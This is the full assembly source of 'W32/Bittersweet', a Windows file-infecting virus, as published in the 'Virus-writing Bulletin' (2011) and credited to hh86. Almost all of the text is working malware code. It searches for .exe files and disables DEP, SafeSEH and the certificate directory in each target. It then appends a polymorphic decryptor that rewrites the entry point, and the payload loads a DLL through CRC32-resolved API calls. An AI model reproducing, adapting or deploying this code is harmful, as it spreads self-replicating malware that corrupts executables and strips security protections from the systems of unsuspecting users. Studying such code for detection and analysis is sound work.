;)

### Virus-writing Bulletin

##### Presents!

#### W32/Bittersweet

-
. ● glósóli ● .

    .486
    .model  flat, stdcall

    CERTIFICATE_TABLE_DATA_DIRECTORY  =  98h
    LOAD_CONFIG_TABLE_DATA_DIRECTORY  =  30h
    DISABLE_NOSEH_DEP                 =  0f0h

    CODE_SIZE  =  200h
    REG_ESP    =  4
    REG_ESI    =  7
    POP_OP     =  58h

    BIT_COUNT  =  31
    BTI_SIZE   =  5
    BLOCK_SIZE =  80h
    CALL_OP    =  0e8h
    ADD_OP     =  0c083h
    BTS_OP     =  0fba6800h

    .code
    assume fs:nothing

    NN92_exe        proc
            dec     dword ptr [esp + 8]          ;do not execute if DLL_PROCESS_DETACH
            js      DETACH
            pushad
            db      33h
            db      0dbh
            db      CALL_OP, low offset find_fs - offset delta_seh, 0, 0, 0

    delta_seh:
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            popad

    DETACH:
            ret     0ch

    echo  11/11/10 - Bittersweet by hh86         ;the fire in your touch I always find so hard to beat
                                                 ;your love is bittersweet
    NN92_exe        endp

    find_fs         proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h                ;SEH protected
            enter   (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (IMAGE_DOS_HEADER.e_lfanew + 1), 0
            mov     edi, esp
            lea     esi, dword ptr [edi + LOADED_IMAGE]
            push    esi
            call    GetTickCount
            mov     seed, eax

    ;-------------------------------------------------------------------------------
    ;find exe files in current directory
    ;-------------------------------------------------------------------------------

            db      0e8h
            dd      6
            db      "*"
            db      "."
            db      "e"
            db      "x"
            db      "e"
            db      0
            call    FindFirstFile
            db      95h
            jmp     call_mf

    find_next:
            db      56h
            db      55h
            call    FindNextFile
            test    eax, eax
            jz      call_seh

    call_mf:
            pushad
            db      CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0

    delta_seh:
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            popad
            jmp     find_next
    find_fs         endp

    ;-------------------------------------------------------------------------------
    ;create map
    ;-------------------------------------------------------------------------------

    map_file        proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h                ;SEH protected
            db      8dh
            db      4eh
            db      WIN32_FIND_DATA.cFileName
            db      57h
            db      53h
            db      53h
            db      57h
            db      53h
            db      51h
            call    MapAndLoad
            db      48h
            js      call_seh                     ;no unmap happens if zero
            db      CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0

    delta_os:
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            call    UnMapAndLoad
    map_file        endp

    call_seh        label    near
            int     3

    infect_exe      proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h

    ;-------------------------------------------------------------------------------
    ;32-bit machine
    ;GUI or CUI
    ;-------------------------------------------------------------------------------

            db      8bh
            db      6fh
            db      LOADED_IMAGE.MappedAddress
            db      8bh
            db      47h
            db      LOADED_IMAGE.FileHeader
            db      0f6h
            db      40h
            db      IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
            db      high IMAGE_FILE_32BIT_MACHINE
            jz      call_seh
            db      8ah
            db      48h
            db      IMAGE_NT_HEADERS.OptionalHeader.Subsystem
            db      49h
            db      49h
            db      80h
            db      0f9h
            db      IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
            jnbe    call_seh

    ;-------------------------------------------------------------------------------
    ;disable NO_SEH and DEP
    ;-------------------------------------------------------------------------------

            db      80h
            db      60h
            db      IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
            db      DISABLE_NOSEH_DEP

    ;-------------------------------------------------------------------------------
    ;PE size must be equal to file size
    ;certificate table must be at end of last section
    ;-------------------------------------------------------------------------------

            db      8bh
            db      57h
            db      LOADED_IMAGE.Sections
            db      8bh                          ;DWORD not WORD ;)
            db      4fh
            db      LOADED_IMAGE.NumberOfSections
            db      6bh
            db      0c9h
            db      sizeof IMAGE_SECTION_HEADER
            db      8dh
            db      74h
            db      11h
            db      -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
            db      8dh
            db      88h
            dd      CERTIFICATE_TABLE_DATA_DIRECTORY
            db      8bh
            db      56h
            db      sizeof IMAGE_SECTION_HEADER.PointerToRawData
            db      3
            db      16h
            db      0b7h
            db      20h                          ;more size required this time
            db      39h
            db      19h
            jb      call_seh
            db      39h
            db      11h
            jne     call_seh

    ;-------------------------------------------------------------------------------
    ;set to zero the certificate table data directory
    ;disable SafeSEH
    ;-------------------------------------------------------------------------------

            fldz
            fstp    qword ptr [ecx]
            fldz
            db      0ddh
            db      59h
            db      LOAD_CONFIG_TABLE_DATA_DIRECTORY

    ;-------------------------------------------------------------------------------
    ;increase image and section size
    ;-------------------------------------------------------------------------------

            db      1
            db      5eh
            db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
            db      1
            db      58h
            db      IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
            db      8bh
            db      4eh
            db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
            db      3
            db      0eh
            db      1                            ;increase raw size
            db      1eh
            or      dword ptr [esi + (IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData)], IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
            lea     edi, dword ptr [ebp + edx]
            pushad
            mov     esi, offset require
            mov     ecx, dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
                                                 ;do not alter entrypoint until code is inserted successfully
            mov     dword ptr [esi + sizeof STACK_REG.LO32_ESP - 3], ecx
            mov     ecx, ebx
            push    edi
            xor     al, al
            rep     stosb
            pop     edi
            mov     al, 0e8h
            stosb
            mov     eax, 200h
            stosd
            lea     ebp, dword ptr [edi + BTI_SIZE - 1]
            add     edi, eax

    rand_reg:
            push    REG_ESI
            call    nrandom
            cmp     al, REG_ESP
            je      rand_reg
            mov     edx, eax
            add     al, POP_OP
            stosb
            push    edi
            call    mkblock
            pop     ebx
            call    x
            mov     ax, ADD_OP
            add     ah, dl
            stosw
            push    eax
            mov     al, BLOCK_SIZE - 4
            stosb
            push    edi
            call    mkblock
            pop     ebx
            call    x
            pop     eax
            add     ah, 28h
            stosw
            mov     byte ptr [edi], BLOCK_SIZE - 8
            add     ax, 0f87eh - 2
            mov     word ptr [edi + 1], ax
            popad
            mov     dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint], ecx
            int     3

    mkblock         proc
            push    0
            push    BTI_SIZE - 1
            pop     ebx

    load_val:
            push    BIT_COUNT
            pop     ecx
            push    2
            call    nrandom
            shl     eax, 8
            lea     eax, dword ptr [eax * 8 + BTS_OP]
            add     ah, dl
            cmp     ah, 70h
            jb      bts_lines

    btr_lines:
            bt      dword ptr [esi], ecx
            jc      btr_gnext
            call    write_bt

    btr_gnext:
            dec     ecx
            jns     btr_lines
            mov     dword ptr [ebp], ecx
            jmp     new_value

    bts_lines:
            bt      dword ptr [esi], ecx
            jnc     bts_gnext
            call    write_bt

    bts_gnext:
            dec     ecx
            jns     bts_lines

    new_value:
            lodsd
            add     ebp, BTI_SIZE - 1
            add     bl, BTI_SIZE - 1
            cmp     bl, BLOCK_SIZE
            jne     load_val
            pop     eax
            ret
    mkblock         endp

    write_bt        proc
            push    eax
            add     eax, ebx
            bswap   eax
            stosd
            mov     al, cl
            stosb
            pop     eax
            inc     dword ptr [esp + 4]
            ret
    write_bt        endp

    ;-------------------------------------------------------------------------------
    ;randomly swap instructions and increase bit offset
    ;-------------------------------------------------------------------------------

    x               proc
            pushad
            mov     edi, ebx
            xchg    esi, eax
            mov     ecx, 9000h

    swap_loop:
            push    esi
            call    nrandom
            imul    eax, eax, BTI_SIZE
            mov     edx, dword ptr [edi + eax]
            mov     bl, byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1]
            add     bl, BIT_COUNT + 1
            push    eax
            push    esi
            call    nrandom
            imul    eax, eax, BTI_SIZE
            xchg    dword ptr [edi + eax], edx
            xchg    byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl
            pop     eax
            mov     dword ptr [edi + eax], edx
            mov     byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl
            loop    swap_loop
            popad
            ret
    x               endp
    infect_exe      endp

    .data
    seed            dd     "VC!"

    .code

    ;-------------------------------------------------------------------------------
    ;random number generator by Nan
    ;some modifications were added to support preservation of volatile registers
    ;and free stack of arg0.  I also changed some MOVs :)
    ;-------------------------------------------------------------------------------

    nrandom         proc
            push    ecx
            push    edx
            mov     eax, seed
            test    eax, 80000000h
            jz      label1
            add     eax, 7fffffffh

    label1:
            xor     edx, edx
            mov     ecx, 127773
            div     ecx
            xchg    ecx, eax
            mov     eax, 16807
            mul     edx
            mov     edx, ecx
            xchg    ecx, eax
            mov     eax, 2836
            mul     edx
            sub     ecx, eax
            xor     edx, edx
            xchg    eax, ecx
            mov     seed, eax
            div     dword ptr [esp + 4 + 8]
            xchg    edx, eax
            pop     edx
            pop     ecx
            ret     4
    nrandom         endp

    ;-------------------------------------------------------------------------------
    ;load DLL code
    ;-------------------------------------------------------------------------------

    .const
    IMAGE_DIRECTORY_ENTRY_EXPORT = 78h

    .data?
    STACK_REG struct
    LO32_EDI       dd   ?
    LO32_ESI       dd   ?
    LO32_EBP       dd   ?
    LO32_ESP       dd   ?
    LO32_EBX       dd   ?
    LO32_EDX       dd   ?
    LO32_ECX       dd   ?
    LO32_EAX       dd   ?
    STACK_REG ends

    .code
    require_s       label    near
    require         proc
            db      68h
            dd      "v!"
            db      60h
            db      6ah
            db      30h                          ;process environment block
            db      5eh
            db      64h
            db      8bh
            db      6
            db      8bh                          ;retrieve imagebase
            db      40h
            db      8
            db      1                            ;convert to relative virtual address
            db      44h
            db      34h
            db      -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP)
            db      33h
            db      0d2h
            db      0e8h                         ;skip SE handler
            dd      0bh
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            db      61h
            ret
            db      64h
            db      0ffh
            db      32h
            db      64h
            db      89h
            db      22h
            db      64h
            db      0adh
            db      8bh
            db      40h
            db      0ch
            db      8bh
            db      70h
            db      14h
            db      0adh
            db      8bh
            db      0
            db      8bh
            db      68h
            db      10h
            call    skip_crc
            dd      03fc1bd8dh
            dd      0da68238fh

    ;-------------------------------------------------------------------------------
    ;DLL name
    ;-------------------------------------------------------------------------------

            db      30h, 0

    skip_crc:
            db      5eh

    ;-------------------------------------------------------------------------------
    ;walk lists
    ;-------------------------------------------------------------------------------

    crc32   macro
            db      32h
            db      7
            db      6ah
            db      8
            db      59h
            db      0d1h
            db      0e8h
            db      73h
            db      5
            db      35h
            dd      0edb88320h
            db      0e2h
            db      0f5h
            db      47h
            db      38h
            db      0fh
            db      75h
            db      0ebh
    endm

    import_next:
            db      8bh
            db      45h
            db      IMAGE_DOS_HEADER.e_lfanew
            db      8bh
            db      5ch
            db      28h
            db      IMAGE_DIRECTORY_ENTRY_EXPORT
            db      3
            db      0ddh

    export_next:
            db      8bh
            db      7bh
            db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
            db      3
            db      0fdh
            db      8bh
            db      3ch
            db      97h
            db      0f9h
            db      1bh
            db      0c0h
            db      3
            db      0fdh
            crc32
            db      0f7h
            db      0d0h
            db      39h
            db      6
            je      l_res
            db      42h
            db      39h
            db      53h
            db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
            jne     export_next
            int     3

    ;-------------------------------------------------------------------------------
    ;resolve API address
    ;-------------------------------------------------------------------------------

    l_res:
            db      8bh
            db      7bh
            db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
            db      3
            db      0fdh
            db      0fh
            db      0b7h
            db      3ch
            db      57h
            db      8bh
            db      43h
            db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
            db      3
            db      0c5h
            db      8bh
            db      4
            db      0b8h
            db      3
            db      0c5h
            db      50h
            db      0adh
            db      33h
            db      0d2h
            db      80h
            db      3eh
            db      30h
            jne     import_next
            db      8bh
            db      0dch
            db      56h
            db      0ffh, 53h, 4                 ;call LoadLibraryA
            db      50h
            db      0ffh, 13h                    ;call FreeLibrary
            int     3
    require         endp
    require_e       label    near
    end     NN92_exe
    So, here I am.

Virus-writing Bulletin 2011